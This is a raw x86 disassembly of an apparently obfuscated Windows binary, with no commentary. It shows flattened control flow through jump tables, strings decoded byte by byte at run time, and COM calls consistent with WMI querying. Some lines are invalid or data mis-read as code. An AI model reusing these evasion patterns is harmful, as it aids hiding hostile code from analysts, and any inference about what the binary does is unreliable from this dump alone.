call fcn.0041d2d0
mov eax, dword [esp + 0x44]
mov ecx, dword [eax]
mov ecx, dword [ecx + 8]
mov dword [esp], eax
call ecx
sub esp, 4
mov dword [esp + 0x250], 1
mov eax, dword [esp + 0x254]
mov ecx, dword [esp + 0x250]
mov eax, dword [eax + ecx*4]
jmp eax
mov eax, dword [esp + 0x44]
mov ecx, dword [eax]
mov ecx, dword [ecx + 8]
mov dword [esp], eax
call ecx
sub esp, 4
mov eax, dword [esp + 0x190]
mov ecx, dword [esp + 0x194]
mov eax, dword [ecx + eax*4]
jmp eax
call fcn.0041d2d0
mov dword [esp + 0x1e8], 0
mov eax, dword [esp + 0x1ec]
mov ecx, dword [esp + 0x1e8]
mov eax, dword [eax + ecx*4]
jmp eax
call fcn.0041d2d0
mov dword [esp + 0x1d0], 1
mov eax, dword [esp + 0x1d4]
mov ecx, dword [esp + 0x1d0]
mov eax, dword [eax + ecx*4]
jmp eax
lea eax, [esp + 0x340]
mov dword [esp], eax
call dword [sym.imp.OLEAUT32.dll_VariantCopy]
sub esp, 4
lea eax, [esp + 0x138]
mov dword [esp], eax
call dword [sym.imp.OLEAUT32.dll_VariantClear]
sub esp, 4
mov edi, dword [esp + 0x44]
mov al, byte [esp + 0x78]
mov byte [esp + 0xc4], al
mov byte [esp + 0x7c], 0x6c
mov byte [esp + 0x7d], 0x91
mov byte [esp + 0x7e], 0x6b
mov byte [esp + 0x7f], 0x93
mov byte [esp + 0x80], 0x5f
mov byte [esp + 0x81], 0xad
mov byte [esp + 0x82], 0x5e
mov byte [esp + 0x83], 0xaf
mov byte [esp + 0x84], 0x5c
mov byte [esp + 0x85], 0xa9
mov byte [esp + 0x86], 0x4b
mov byte [esp + 0x87], 0xab
mov byte [esp + 0x88], 0x2d
mov byte [esp + 0x89], 0xa5
mov byte [esp + 0x8a], 0x70
mov byte [esp + 0x8b], 0xa7
mov byte [esp + 0x8c], 0x41
mov byte [esp + 0x8d], 0xa1
mov byte [esp + 0x8e], 0x57
mov byte [esp + 0x8f], 0xa3
mov byte [esp + 0x90], 0x41
mov byte [esp + 0x91], 0xbd
mov byte [esp + 0x92], 0xbe
mov byte [esp + 0x93], 0xbf
mov eax, 0x18
mov byte [esp + eax + 0x7c], 0
add eax, 1
cmp eax, 0x1a
jne 0x436816
mov dword [esp + 0x38], 0
mov eax, dword [esp + 0x38]
cmp eax, 0x1a
jae 0x436860
mov eax, dword [esp + 0x38]
mov ecx, dword [esp + 0x38]
movzx ecx, byte [esp + ecx + 0x7c]
mov dword [esp + 4], eax
mov dword [esp], ecx
call fcn.0043b5a0
mov ecx, dword [esp + 0x38]
mov byte [esp + ecx + 0x7c], al
mov eax, dword [esp + 0x38]
inc eax
mov dword [esp + 0x38], eax
jmp 0x43682b
mov eax, dword [edi]
mov eax, dword [eax + 0x10]
lea ecx, [esp + 0x138]
mov dword [esp + 0xc], ecx
lea ecx, [esp + 0x7c]
mov dword [esp + 4], ecx
mov dword [esp], edi
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 0
mov dword [esp + 8], 0
call eax
sub esp, 0x18
test eax, eax
setns al
mov cx, word [esp + 0x138]
sub cx, 8
sete cl
and al, cl
movzx eax, al
mov dword [esp + 0x298], eax
mov eax, dword [esp + 0x29c]
mov ecx, dword [esp + 0x298]
mov eax, dword [eax + ecx*4]
jmp eax
mov eax, dword [esp + 0x310]
mov ecx, dword [esp + 0x314]
mov eax, dword [ecx + eax*4]
jmp eax
mov ecx, dword [esp + 0x240]
mov edx, dword [esp + 0x244]
mov ecx, dword [edx + ecx*4]
jmp ecx
call fcn.0041d2d0
mov dword [esp + 0x328], 0
mov eax, dword [esp + 0x32c]
mov ecx, dword [esp + 0x328]
mov eax, dword [eax + ecx*4]
jmp eax
call fcn.0041d2d0
mov dword [esp + 0x258], 1
mov eax, dword [esp + 0x25c]
mov ecx, dword [esp + 0x258]
mov eax, dword [eax + ecx*4]
jmp eax
mov dword [esp + 0x3c], ebx
lea eax, [esp + 0x340]
add eax, 8
lea edi, [esp + 0x134]
mov ecx, 1
mov edx, eax
xchg esi, edx
rep movsd dword es:[edi], dword [esi]
xchg esi, edx
lea edi, [esp + 0x134]
add edi, 4
add eax, 4
mov ebx, edi
xor ecx, ecx
mov edx, eax
xchg esi, edx
rep movsw word es:[edi], word [esi]
xchg esi, edx
xor ecx, ecx
cmp ecx, 0
je 0x436991
add ecx, 0xffffffff
mov edx, eax
add edx, 1
mov al, byte [eax]
mov edi, ebx
add edi, 1
mov byte [ebx], al
mov ebx, edi
mov eax, edx
jmp 0x436975
call fcn.0041d2d0
call fcn.0041d2d0
mov al, byte [esp + 0x135]
mov ecx, dword [esp + 0x158]
mov byte [ecx], al
mov eax, dword [esp + 0x2a0]
mov ecx, dword [esp + 0x2a4]
mov eax, dword [ecx + eax*4]
mov ebx, dword [esp + 0x3c]
jmp eax
xor ecx, ecx
mov edx, eax
sub edx, 3
setl cl
mov dword [esp + 0x238], ecx
mov ecx, dword [esp + 0x23c]
mov edx, dword [esp + 0x238]
mov ecx, dword [ecx + edx*4]
jmp ecx
lea eax, [esp + 0xa4]
mov dword [esp], eax
mov eax, dword [sym.imp.OLEAUT32.dll_SysReAllocString]
call eax
sub esp, 4
mov edi, eax
mov eax, dword [esp + 0x300]
mov ecx, dword [esp + 0x304]
mov eax, dword [ecx + eax*4]
jmp eax
mov dword [esp], 0xc
call fcn.0040cb60
mov dword [eax], 0
mov ecx, eax
add ecx, 4
mov dword [esp + 0x158], ecx
mov byte [eax + 4], 0
mov ecx, eax
add ecx, 8
mov dword [esp + 0x15c], ecx
mov dword [esp + 0x160], eax
mov dword [eax + 8], 0
lea eax, [esp + 0x340]
mov dword [esp], eax
call dword [sym.imp.OLEAUT32.dll_VariantClear]
sub esp, 4
mov edi, dword [esp + 0x44]
mov al, byte [esp + 0x98]
mov byte [esp + 0xc0], al
mov byte [esp + 0x10c], 0x94
mov byte [esp + 0x10d], 0x27
mov byte [esp + 0x10e], 0x94
mov byte [esp + 0x10f], 0x21
mov byte [esp + 0x110], 0x91
mov byte [esp + 0x111], 0x23
mov byte [esp + 0x112], 0x9e
mov byte [esp + 0x113], 0x3d
mov byte [esp + 0x114], 0xb3
mov byte [esp + 0x115], 0x3f
mov byte [esp + 0x116], 0x83
mov byte [esp + 0x117], 0x39
mov byte [esp + 0x118], 0xb4
mov byte [esp + 0x119], 0x3b
mov byte [esp + 0x11a], 0x97
mov byte [esp + 0x11b], 0x35
mov byte [esp + 0x11c], 0xb8
mov byte [esp + 0x11d], 0x37
mov byte [esp + 0x11e], 0x95
mov byte [esp + 0x11f], 0x31
mov byte [esp + 0x120], 0xbc
mov byte [esp + 0x121], 0x33
mov byte [esp + 0x122], 0x8d
mov byte [esp + 0x123], 0xd
mov byte [esp + 0x124], 0xc
mov byte [esp + 0x125], 0xf
mov eax, 0x1a
mov byte [esp + eax + 0x10c], 0
add eax, 1
cmp eax, 0x20
jne 0x436b45
mov dword [esp + 0x34], 0
mov eax, dword [esp + 0x34]
cmp eax, 0x20
jae 0x436b98
mov eax, dword [esp + 0x34]
mov ecx, dword [esp + 0x34]
movzx ecx, byte [esp + ecx + 0x10c]
mov dword [esp + 4], eax
mov dword [esp], ecx
call fcn.0043b550
mov ecx, dword [esp + 0x34]
mov byte [esp + ecx + 0x10c], al
mov eax, dword [esp + 0x34]
inc eax
mov dword [esp + 0x34], eax
jmp 0x436b5d
mov eax, dword [edi]
mov eax, dword [eax + 0x10]
lea ecx, [esp + 0x340]
mov dword [esp + 0xc], ecx
lea ecx, [esp + 0x10c]
mov dword [esp + 4], ecx
mov dword [esp], edi
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 0
mov dword [esp + 8], 0
call eax
sub esp, 0x18
test eax, eax
setns al
mov cx, word [esp + 0x340]
sub cx, 3
sete cl
and al, cl
movzx eax, al
mov dword [esp + 0x2a8], eax
mov eax, dword [esp + 0x2ac]
mov ecx, dword [esp + 0x2a8]
mov eax, dword [eax + ecx*4]
jmp eax
mov cl, al
and ecx, 1
mov dword [esp + 0x318], ecx
mov eax, dword [esp + 0x31c]
mov ecx, dword [esp + 0x318]
mov eax, dword [eax + ecx*4]
xor edi, edi
jmp eax
call fcn.0041d2d0
mov dword [esp + 0x290], 0
mov eax, dword [esp + 0x294]
mov ecx, dword [esp + 0x290]
mov eax, dword [eax + ecx*4]
jmp eax
call fcn.0041d2d0
mov dword [esp + 0x1b8], 0
mov eax, dword [esp + 0x1bc]
mov ecx, dword [esp + 0x1b8]
mov eax, dword [eax + ecx*4]
jmp eax
add al, 0x35
dec esp
invalid
mov eax, dword [esp + 0x248]
mov ecx, dword [esp + 0x24c]
mov ecx, dword [ecx + eax*4]
xor eax, eax
jmp ecx
call fcn.0041d2d0
lea edi, [esp + 0x140]
mov eax, dword [esp + 0x140]
mov dword [esp], eax
mov eax, dword [sym.imp.OLEAUT32.dll_VariantInit]
call eax
sub esp, 4
mov dword [esp + 0x288], 0
mov ecx, dword [esp + 0x28c]
mov edx, dword [esp + 0x288]
mov ecx, dword [ecx + edx*4]
jmp ecx
mov al, byte [esp + 0x9c]
mov byte [esp + 0xbc], al
mov byte [esp + 0xc8], 0xc3
mov byte [esp + 0xc9], 0x11
mov byte [esp + 0xca], 0xcf
mov byte [esp + 0xcb], 0x13
mov byte [esp + 0xcc], 0x38
mov byte [esp + 0xcd], 0xed
mov byte [esp + 0xce], 0x33
mov byte [esp + 0xcf], 0xef
mov byte [esp + 0xd0], 0x2b
mov byte [esp + 0xd1], 0xe9
mov byte [esp + 0xd2], 0x46
mov byte [esp + 0xd3], 0xeb
mov byte [esp + 0xd4], 4
mov byte [esp + 0xd5], 0xe5
mov byte [esp + 0xd6], 0x1c
mov byte [esp + 0xd7], 0xe7
mov byte [esp + 0xd8], 0
mov byte [esp + 0xd9], 0xe1
mov byte [esp + 0xda], 0x3c
mov byte [esp + 0xdb], 0xe3
mov byte [esp + 0xdc], 0x2e
mov byte [esp + 0xdd], 0xfd
mov byte [esp + 0xde], 0x29
mov byte [esp + 0xdf], 0xff
mov byte [esp + 0xe0], 0x2d
mov byte [esp + 0xe1], 0xf9
mov byte [esp + 0xe2], 0x1a
mov byte [esp + 0xe3], 0xfb
mov byte [esp + 0xe4], 0x35
mov byte [esp + 0xe5], 0xf5
mov byte [esp + 0xe6], 0x40
mov byte [esp + 0xe7], 0xf7
mov byte [esp + 0xe8], 0x7c
mov byte [esp + 0xe9], 0xf1
mov byte [esp + 0xea], 0x4b
mov byte [esp + 0xeb], 0xf3
mov byte [esp + 0xec], 0x62
mov byte [esp + 0xed], 0xcd
mov byte [esp + 0xee], 0x77
mov byte [esp + 0xef], 0xcf
mov byte [esp + 0xf0], 0x7a
mov byte [esp + 0xf1], 0xc9
mov byte [esp + 0xf2], 0x47
mov byte [esp + 0xf3], 0xcb
mov byte [esp + 0xf4], 0x77
mov byte [esp + 0xf5], 0xc5
mov byte [esp + 0xf6], 0x16
mov byte [esp + 0xf7], 0xc7
mov byte [esp + 0xf8], 0x72
mov byte [esp + 0xf9], 0xc1
mov byte [esp + 0xfa], 0x75
mov byte [esp + 0xfb], 0xc3
mov byte [esp + 0xfc], 0x60
mov byte [esp + 0xfd], 0xdd
mov byte [esp + 0xfe], 0x53
mov byte [esp + 0xff], 0xdf
mov byte [esp + 0x100], 0x7b
mov byte [esp + 0x101], 0xd9
mov byte [esp + 0x102], 0x56
mov byte [esp + 0x103], 0xdb
mov byte [esp + 0x104], 0xd4
mov byte [esp + 0x105], 0xd5
mov eax, 0x3e
mov byte [esp + eax + 0xc8], 0
add eax, 1
cmp eax, 0x41
jne 0x436ef0
mov dword [esp + 0x30], 0
mov eax, dword [esp + 0x30]
cmp eax, 0x41
jae 0x436f43
mov eax, dword [esp + 0x30]
mov ecx, dword [esp + 0x30]
movzx ecx, byte [esp + ecx + 0xc8]
mov dword [esp + 4], eax
mov dword [esp], ecx
call fcn.0043b510
mov ecx, dword [esp + 0x30]
mov byte [esp + ecx + 0xc8], al
mov eax, dword [esp + 0x30]
inc eax
mov dword [esp + 0x30], eax
jmp 0x436f08
lea eax, [esp + 0xc8]
mov dword [esp], eax
mov eax, dword [sym.imp.OLEAUT32.dll_SysReAllocString]
call eax
sub esp, 4
mov ebx, dword [esp + 0x40]
mov ecx, dword [ebx]
mov ecx, dword [ecx + 0x50]
lea edx, [esp + 0x130]
mov dword [esp + 0x14], edx
mov dword [esp + 0x164], eax
mov dword [esp + 8], eax
mov dword [esp + 0x16c], edi
mov dword [esp + 4], edi
mov dword [esp], ebx
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0x30
call ecx
sub esp, 0x18
not eax
shr eax, 0x1f
mov dword [esp + 0x2d8], eax
mov eax, dword [esp + 0x2dc]
mov ecx, dword [esp + 0x2d8]
mov eax, dword [eax + ecx*4]
xor ebx, ebx
jmp eax
mov eax, dword [esp + 0x1d8]
mov ecx, dword [esp + 0x1dc]
mov eax, dword [ecx + eax*4]
jmp eax
xor ecx, ecx
test eax, eax
sete cl
mov dword [esp + 0x230], ecx
mov eax, dword [esp + 0x234]
mov ecx, dword [esp + 0x230]
mov eax, dword [eax + ecx*4]
jmp eax
call fcn.0041d2d0
mov dword [esp + 0x2e8], 0
mov eax, dword [esp + 0x2ec]
mov ecx, dword [esp + 0x2e8]
mov eax, dword [eax + ecx*4]
jmp eax
mov dword [esp + 0x3c], ebx
mov dword [esp + 0x168], esi
call fcn.0041d2d0
mov dword [esp + 0x200], 0
mov eax, dword [esp + 0x204]
mov ecx, dword [esp + 0x200]
mov eax, dword [eax + ecx*4]
mov esi, dword [esp + 0x16c]
mov ebx, dword [esp + 0x164]
jmp eax
mov dword [esp + 0x3c], ebx
mov ecx, dword [edi]
mov edx, dword [esp + 0x278]
mov edi, dword [esp + 0x27c]
mov edx, dword [edi + edx*4]
jmp edx
or dword [ecx], eax
jno 0x437075
iretd
add bh, bh
rol byte [ebx + 0x448b04ec], 1
and al, 0x48
mov ecx, dword [eax]
mov ecx, dword [ecx + 8]
mov dword [esp], eax
call ecx
sub esp, 4
mov eax, dword [esp + 0x178]
mov ecx, dword [esp + 0x17c]
mov eax, dword [ecx + eax*4]
jmp eax
cmp eax, 0x8b52ca5a
test byte [eax], ah
add dword [eax], eax
add byte [ebx + 0x1a4248c], cl
add byte [eax], al
mov eax, dword [ecx + eax*4]
jmp eax
call fcn.0041d2d0
mov dword [esp + 0x1b0], 0
mov eax, dword [esp + 0x1b4]
mov ecx, dword [esp + 0x1b0]
mov eax, dword [eax + ecx*4]
jmp eax
mov dword [esp + 0x12c], 0
mov eax, dword [esp + 0x130]
mov ecx, dword [eax]
mov ecx, dword [ecx + 0x10]
lea edx, [esp + 0x12c]
mov dword [esp + 0x10], edx
lea edx, [esp + 0x44]
mov dword [esp + 0xc], edx
mov dword [esp], eax
mov dword [esp + 8], 1
mov dword [esp + 4], 0xffffffff
call ecx
sub esp, 0x14
test eax, eax
sets cl
sub eax, 1
sete al
mov edx, dword [esp + 0x12c]
test edx, edx
sete dl
or al, dl
or al, cl
movzx eax, al
mov dword [esp + 0x2c8], eax
mov eax, dword [esp + 0x2cc]
mov ecx, dword [esp + 0x2c8]
mov eax, dword [eax + ecx*4]
jmp eax
mov ecx, dword [esp + 0x280]
mov edx, dword [esp + 0x284]
mov ecx, dword [edx + ecx*4]
jmp ecx
call fcn.0041d2d0
mov eax, dword [esp + 0x40]
mov dword [esp], eax
mov dword [esp + 0x1c], 0
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 3
mov dword [esp + 0x10], 3
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], 0xa
mov eax, dword [sym.imp.ole32.dll_CoSetProxyBlanket]
call eax
sub esp, 0x20
xor ecx, ecx
test eax, eax
setns al
mov dword [esp + 0x320], 0
mov edx, dword [esp + 0x324]
mov edi, dword [esp + 0x320]
mov edx, dword [edx + edi*4]
jmp edx
mov eax, dword [esp + 0x1f0]
mov ecx, dword [esp + 0x1f4]
mov eax, dword [ecx + eax*4]
mov esi, dword [esp + 0x168]
mov edi, dword [esp + 0x3c]
jmp eax
call fcn.0041d2d0
mov dword [esp + 0x2f0], 0
mov eax, dword [esp + 0x2f4]
mov ecx, dword [esp + 0x2f0]
mov eax, dword [eax + ecx*4]
jmp eax
mov eax, dword [esp + 0x2c0]
mov ecx, dword [esp + 0x2c4]
mov ecx, dword [ecx + eax*4]
mov eax, 3
jmp ecx
call fcn.0041d2d0
mov dword [esp], esi
mov edi, dword [sym.imp.OLEAUT32.dll_SysStringLen]
call edi
sub esp, 4
mov dword [esp], ebx
call edi
sub esp, 4
mov dword [esp + 0x1f8], 0
mov eax, dword [esp + 0x1fc]
mov ecx, dword [esp + 0x1f8]
mov eax, dword [eax + ecx*4]
jmp eax
xor ecx, ecx
test eax, eax
sete cl
mov dword [esp + 0x2b0], ecx
mov ecx, dword [esp + 0x2b4]
mov edx, dword [esp + 0x2b0]
mov ecx, dword [ecx + edx*4]
jmp ecx
mov eax, dword [esp + 0x170]
mov ecx, dword [esp + 0x174]
mov eax, dword [ecx + eax*4]
jmp eax
mov eax, dword [esp + 0x130]
mov ecx, dword [esp + 0x228]
mov edx, dword [esp + 0x22c]
mov ecx, dword [edx + ecx*4]
jmp ecx
mov ebx, ds
adc dword [edi - 0x53], 0xfffffff2
mov bh, byte [ebx + 0x4024448b]
mov ecx, dword [eax]
mov ecx, dword [ecx + 8]
mov dword [esp], eax
call ecx
sub esp, 4
mov eax, dword [esp + 0x180]
mov ecx, dword [esp + 0x184]
mov eax, dword [ecx + eax*4]
jmp eax
mov edx, eax
shl edx, 1
mov edi, ecx
add edi, edx
mov dword [esp], ecx
mov dword [esp + 4], edi
mov ebx, eax
call fcn.00433790
mov edi, eax
mov eax, edi
and eax, 1
shl eax, 1
xor edi, 1
add edi, eax
mov dword [esp], edi
call fcn.0040cb60
mov ecx, dword [esp + 0x15c]
mov dword [ecx], eax
lea ecx, [esp + 0x140]
mov edx, dword [ecx]
shl ebx, 1
mov ecx, edx
add ecx, ebx
mov dword [esp + 0x150], ecx
mov ebx, eax
add ebx, edi
mov ecx, ebx
add ecx, 0xffffffff
cmp eax, ecx
jae 0x4373a7
mov dword [esp + 0x14c], ebx
mov ebx, dword [esp + 0x150]
test ebx, ebx
sete cl
mov edi, edx
mov edx, edi
sub edx, ebx
mov ebx, dword [esp + 0x14c]
setb dl
or cl, dl
test cl, 1
jne 0x437369
jmp 0x4373a7
mov dx, word [edi]
movzx ecx, dx
cmp dx, 0
je 0x4373a7
add edi, 2
mov dword [esp + 0x154], edi
mov edx, eax
xor edx, 0xffffffff
add edx, ebx
mov dword [esp], eax
mov dword [esp + 4], edx
mov dword [esp + 8], ecx
mov edi, eax
call fcn.0043b080
mov edx, dword [esp + 0x154]
mov ecx, eax
mov eax, edi
add eax, ecx
jmp 0x437334
mov byte [eax], 0
mov eax, dword [esp + 0x270]
mov ecx, dword [esp + 0x274]
mov eax, dword [ecx + eax*4]
mov ebx, dword [esp + 0x3c]
jmp eax
mov eax, dword [esp + 0x140]
mov dword [esp], eax
mov eax, dword [sym.imp.OLEAUT32.dll_VariantInit]
call eax
sub esp, 4
mov eax, dword [esp + 0x198]
mov ecx, dword [esp + 0x19c]
mov eax, dword [ecx + eax*4]
jmp eax
mov eax, dword [esp + 0x208]
mov ecx, dword [esp + 0x20c]
mov eax, dword [ecx + eax*4]
jmp eax
mov ecx, dword [eax]
add ecx, 8
mov edx, dword [esp + 0x220]
mov edi, dword [esp + 0x224]
mov edx, dword [edi + edx*4]
jmp edx
mov al, byte [esp + 0xb0]
mov byte [esp + 0xb4], al
mov byte [esp + 0x4c], 0xb2
mov byte [esp + 0x4d], 0x41
mov byte [esp + 0x4e], 0x8d
mov byte [esp + 0x4f], 0x43
mov byte [esp + 0x50], 0x8b
mov byte [esp + 0x51], 0x45
mov byte [esp + 0x52], 0xb2
mov byte [esp + 0x53], 0x47
mov byte [esp + 0x54], 0xb4
mov byte [esp + 0x55], 0x49
mov byte [esp + 0x56], 0xb9
mov byte [esp + 0x57], 0x4b
mov byte [esp + 0x58], 0xa9
mov byte [esp + 0x59], 0x4d
mov byte [esp + 0x5a], 0xad
mov byte [esp + 0x5b], 0x4f
mov byte [esp + 0x5c], 0xe5
mov byte [esp + 0x5d], 0x71
mov byte [esp + 0x5e], 0xe0
mov byte [esp + 0x5f], 0x73
mov byte [esp + 0x60], 0x9d
mov byte [esp + 0x61], 0x75
mov byte [esp + 0x62], 0xe2
mov byte [esp + 0x63], 0x77
mov byte [esp + 0x64], 0xe1
mov byte [esp + 0x65], 0x79
mov byte [esp + 0x66], 0xb9
mov byte [esp + 0x67], 0x7b
mov byte [esp + 0x68], 0x99
mov byte [esp + 0x69], 0x7d
mov byte [esp + 0x6a], 0x90
mov byte [esp + 0x6b], 0x7f
mov byte [esp + 0x6c], 0xf4
mov byte [esp + 0x6d], 0x61
mov byte [esp + 0x6e], 0x87
mov byte [esp + 0x6f], 0x63
mov byte [esp + 0x70], 0xf6
mov byte [esp + 0x71], 0x65
mov byte [esp + 0x72], 0xb4
mov byte [esp + 0x73], 0x67
mov byte [esp + 0x74], 0x68
mov byte [esp + 0x75], 0x69
mov eax, 0x2a
mov byte [esp + eax + 0x4c], 0
add eax, 1
cmp eax, 0x2c
jne 0x4374f8
mov dword [esp + 0x28], 0
mov eax, dword [esp + 0x28]
cmp eax, 0x2c
jae 0x437542
mov eax, dword [esp + 0x28]
mov ecx, dword [esp + 0x28]
movzx ecx, byte [esp + ecx + 0x4c]
mov dword [esp + 4], eax
mov dword [esp], ecx
call fcn.0043b460
mov ecx, dword [esp + 0x28]
mov byte [esp + ecx + 0x4c], al
mov eax, dword [esp + 0x28]
inc eax
mov dword [esp + 0x28], eax
jmp 0x43750d
lea eax, [esp + 0x4c]
mov dword [esp], eax
mov eax, dword [sym.imp.OLEAUT32.dll_SysReAllocString]
call eax
sub esp, 4
mov esi, eax
mov ecx, dword [esp + 0x48]
mov eax, dword [ecx]
mov eax, dword [eax + 0xc]
lea edx, [esp + 0x40]
mov dword [esp + 0x20], edx
mov dword [esp + 4], esi
mov dword [esp], ecx
mov dword [esp + 0x1c], 0
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
call eax
sub esp, 0x24
not eax
shr eax, 0x1f
mov dword [esp + 0x330], eax
mov eax, dword [esp + 0x334]
mov ecx, dword [esp + 0x330]
mov eax, dword [eax + ecx*4]
xor edi, edi
jmp eax
mov al, byte [esp + 0xa0]
mov byte [esp + 0xb8], al
mov byte [esp + 0xa4], 0x7f
mov byte [esp + 0xa5], 0x91
mov byte [esp + 0xa6], 0x43
mov byte [esp + 0xa7], 0x93
mov byte [esp + 0xa8], pe_nt_image_headers32
mov byte [esp + 0xa9], 0xad
mov byte [esp + 0xaa], 0xae
mov byte [esp + 0xab], 0xaf
mov eax, 8
mov byte [esp + eax + 0xa4], 0
add eax, 1
cmp eax, 0xb
jne 0x437616
mov dword [esp + 0x2c], 0
mov eax, dword [esp + 0x2c]
cmp eax, 0xb
jae 0x437669
mov eax, dword [esp + 0x2c]
mov ecx, dword [esp + 0x2c]
movzx ecx, byte [esp + ecx + 0xa4]
mov dword [esp + 4], eax
mov dword [esp], ecx
call fcn.0043b4b0
mov ecx, dword [esp + 0x2c]
mov byte [esp + ecx + 0xa4], al
mov eax, dword [esp + 0x2c]
inc eax
mov dword [esp + 0x2c], eax
jmp 0x43762e
mov eax, dword [esp + 0x308]
mov ecx, dword [esp + 0x30c]
mov eax, dword [ecx + eax*4]
jmp eax
mov eax, dword [esp + 0x2e0]
mov ecx, dword [esp + 0x2e4]
mov eax, dword [ecx + eax*4]
jmp eax
mov dword [esp], eax
call ecx
sub esp, 4
mov eax, dword [esp + 0x210]
mov ecx, dword [esp + 0x214]
mov eax, dword [ecx + eax*4]
jmp eax
mov eax, dword [esp + 0x2d0]
mov ecx, dword [esp + 0x2d4]
mov eax, dword [ecx + eax*4]
xor ebx, ebx
jmp eax
xor ecx, ecx
mov edx, eax
sub edx, 0xee7c1b74
setl cl
mov dword [esp + 0x2d0], ecx
mov ecx, dword [esp + 0x2d4]
mov edx, dword [esp + 0x2d0]
mov ecx, dword [ecx + edx*4]
jmp ecx
xor ecx, ecx
sub eax, 0x5747da05
sete cl
mov dword [esp + 0x3f8], ecx
mov eax, dword [esp + 0x3fc]
mov ecx, dword [esp + 0x3f8]
mov eax, dword [eax + ecx*4]
jmp eax
mov eax, dword [esp + 0x2c]
mov dword [eax], 0x8319857d
mov eax, dword [esp + 0xb8]
mov ecx, dword [esp + 0xbc]
mov eax, dword [ecx + eax*4]
jmp eax
call fcn.0041d2d0
mov eax, dword [esp + 0x470]
mov eax, dword [eax]
mov dword [esp + 0x54], eax
mov eax, dword [esp + 0x2c]
mov dword [eax], 0x5bb20238
mov eax, dword [esp + 0x1c8]
mov ecx, dword [esp + 0x1cc]
mov eax, dword [ecx + eax*4]
jmp eax
xor ecx, ecx
sub eax, 0xc360cc41
sete cl
mov dword [esp + 0x280], ecx
mov eax, dword [esp + 0x284]
mov ecx, dword [esp + 0x280]
mov eax, dword [eax + ecx*4]
jmp eax
xor ecx, ecx
mov edx, eax
sub edx, 0x64f9f7fd
setl cl
mov dword [esp + 0x410], ecx
mov ecx, dword [esp + 0x414]
mov edx, dword [esp + 0x410]
mov ecx, dword [ecx + edx*4]
jmp ecx
mov eax, dword [esp + 0x2c]
mov dword [eax], 0xbbab0119
mov eax, dword [esp + 0x178]
mov ecx, dword [esp + 0x17c]
mov eax, dword [ecx + eax*4]
jmp eax
invalid
call fcn.0041d2d0
mov eax, dword [esp + 0x2c]
mov dword [eax], 0x856803b2
mov eax, dword [esp + 0x120]
mov ecx, dword [esp + 0x124]
mov eax, dword [ecx + eax*4]
jmp eax
xor ecx, ecx
sub eax, 0x856803b2
sete cl
mov dword [esp + 0x1f8], ecx
mov eax, dword [esp + 0x1fc]
mov ecx, dword [esp + 0x1f8]
mov eax, dword [eax + ecx*4]
jmp eax
xor ecx, ecx
mov edx, eax
sub edx, 0x3502d276
setl cl
mov dword [esp + 0x458], ecx
mov ecx, dword [esp + 0x45c]
mov edx, dword [esp + 0x458]
mov ecx, dword [ecx + edx*4]
jmp ecx
lcall 0x2444, 0x8bc62f3e
pop eax
mov dword [esp], eax
mov eax, dword [sym.imp.GDI32.dll_DeleteObject]
call eax
sub esp, 4
mov eax, dword [esp + 0x2c]
mov dword [eax], 0x18d0a9c3
mov eax, dword [esp + 0x98]
mov ecx, dword [esp + 0x9c]
mov eax, dword [ecx + eax*4]
jmp eax
call fcn.0041d2d0
mov eax, dword [esp + 0x2c]
mov dword [eax], 0x5c0c96d
mov eax, dword [esp + 0x100]
mov ecx, dword [esp + 0x104]
mov eax, dword [ecx + eax*4]
jmp eax
xor ecx, ecx
mov edx, eax
sub edx, 0x4a33bc60
setl cl
mov dword [esp + 0x3e0], ecx
mov ecx, dword [esp + 0x3e4]
mov edx, dword [esp + 0x3e0]
mov ecx, dword [ecx + edx*4]
jmp ecx
xor ecx, ecx
mov edx, eax
sub edx, 0xf7e251fe
setl cl
mov dword [esp + 0x2f8], ecx
mov ecx, dword [esp + 0x2fc]
mov edx, dword [esp + 0x2f8]
mov ecx, dword [ecx + edx*4]
jmp ecx
xor ecx, ecx
mov edx, eax
sub edx, 0xf15a9aae
setl cl
mov dword [esp + 0x300], ecx
mov ecx, dword [esp + 0x304]
mov edx, dword [esp + 0x300]
mov ecx, dword [ecx + edx*4]
jmp ecx
xor ecx, ecx
sub eax, 0x8319857d
sete cl
mov dword [esp + 0x1e8], ecx
mov eax, dword [esp + 0x1ec]
mov ecx, dword [esp + 0x1e8]
mov eax, dword [eax + ecx*4]
jmp eax
mov eax, dword [esp + 0x2c]
mov dword [eax], 0x81fdc1c2
mov eax, dword [esp + 0x128]
mov ecx, dword [esp + 0x12c]
mov eax, dword [ecx + eax*4]
jmp eax
call fcn.0041d2d0
mov eax, dword [esp + 0x2c]
mov dword [eax], 0x74a29d64
mov eax, dword [esp + 0x1b0]
mov ecx, dword [esp + 0x1b4]
mov eax, dword [ecx + eax*4]
jmp eax
call fcn.0041d2d0
mov eax, dword [esp + 0x2c]
mov dword [eax], 0x6de9158b
mov eax, dword [esp + 0x180]
mov ecx, dword [esp + 0x184]
mov eax, dword [ecx + eax*4]
jmp eax
xor ecx, ecx
mov edx, eax
sub edx, 0x14448b2b
setl cl
mov dword [esp + 0x348], ecx
mov ecx, dword [esp + 0x34c]
mov edx, dword [esp + 0x348]
mov ecx, dword [ecx + edx*4]
jmp ecx
xor ecx, ecx
mov edx, eax
sub edx, 0x2bae61e9
setl cl
mov dword [esp + 0x398], ecx
mov ecx, dword [esp + 0x39c]
mov edx, dword [esp + 0x398]
mov ecx, dword [ecx + edx*4]
jmp ecx
xor ecx, ecx
mov edx, eax
sub edx, 0x74a29d64
setl cl
mov dword [esp + 0x438], ecx
mov ecx, dword [esp + 0x43c]
mov edx, dword [esp + 0x438]
mov ecx, dword [ecx + edx*4]
jmp ecx
xor ecx, ecx
mov edx, eax
sub edx, 0xe6e68ee5
setl cl
mov dword [esp + 0x2a8], ecx
mov ecx, dword [esp + 0x2ac]
mov edx, dword [esp + 0x2a8]
mov ecx, dword [ecx + edx*4]
jmp ecx
xor ecx, ecx
sub eax, 0x8841167f
sete cl
mov dword [esp + 0x200], ecx
mov eax, dword [esp + 0x204]
mov ecx, dword [esp + 0x200]
mov eax, dword [eax + ecx*4]
jmp eax
xor ecx, ecx
sub eax, 0x2bae61e9
sete cl
